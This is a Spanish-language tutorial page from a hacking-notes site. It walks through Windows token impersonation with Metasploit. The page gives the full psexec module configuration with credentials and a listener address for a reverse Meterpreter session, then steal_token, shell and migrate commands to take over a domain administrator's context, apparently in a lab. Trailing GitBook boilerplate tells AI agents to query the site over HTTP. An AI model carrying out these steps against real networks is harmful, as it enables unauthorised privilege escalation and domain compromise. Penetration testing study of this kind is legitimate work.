> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/token-impersonation.md).

# Suplantación de token

Para esta parte, usamos `Metasploit`.

{% code overflow="wrap" %}

```bash
msfconsole
```

{% endcode %}

Asumimos que ya hemos comprometido la `user1` cuenta.

{% code overflow="wrap" %}

```bash
use exploit/windows/smb/psexec

show options
```

{% endcode %}

<figure><img src="/files/aa0fa6b90e4ec5e749892b2d9834d2f9fb9e198e" alt=""><figcaption></figcaption></figure>

Luego configuramos el módulo con los parámetros correctos.

{% code overflow="wrap" %}

```bash
set rhosts 172.16.0.10
set rport 445
set smbdomain WHOAMI
set smbuser user1
set smbpass Password1234
set lhost 172.16.0.2
set lport 4444

run
shell
```

{% endcode %}

<figure><img src="/files/dd9d2b26619ff4c0cfe7bbf8c9325ba4478cbf51" alt=""><figcaption></figcaption></figure>

Desde `Meterpreter`, enumeramos los procesos activos en la máquina.

{% code overflow="wrap" %}

```bash
ps
```

{% endcode %}

Algunos procesos pueden pertenecer a un administrador de dominio.

<figure><img src="/files/cfcde842c19454be4bde39f04a43e3ba635f9e09" alt=""><figcaption></figcaption></figure>

Luego podemos robar el token del proceso objetivo a partir de su PID.

{% code overflow="wrap" %}

```bash
steal_token 6984 
```

{% endcode %}

<figure><img src="/files/2aaedcba82abcb3e4fd90537b5ca9797d2d38ede" alt=""><figcaption></figcaption></figure>

Este token corresponde a la sesión abierta de la cuenta de administrador.

Si ahora abrimos una shell, se ejecuta en el contexto de ese usuario.

{% code overflow="wrap" %}

```bash
shell
```

{% endcode %}

<figure><img src="/files/e8ffbeb00c0c699131d61af5f0194790e7215278" alt=""><figcaption></figcaption></figure>

Otra posibilidad: migrar nuestra carga útil a este proceso para heredar su contexto.

Si es necesario, primero podemos volver a nuestro contexto inicial.

{% code overflow="wrap" %}

```bash
rev2self
```

{% endcode %}

Luego lanzamos la migración hacia el PID objetivo.

{% code overflow="wrap" %}

```bash
migrate 6984
```

{% endcode %}

<figure><img src="/files/2ade23ac39b7740846d92890b94f372b67cd4d0c" alt=""><figcaption></figcaption></figure>

La limitación sigue siendo simple: si el proceso muere, la sesión migrada también cae.

> 172.16.0.10 - Sesión de Meterpreter 1 cerrada. Motivo: Died

<figure><img src="/files/5b7c39c845c1eb9932ed99e4ba06456a1ed8bb5c" alt="" width="547"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/token-impersonation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
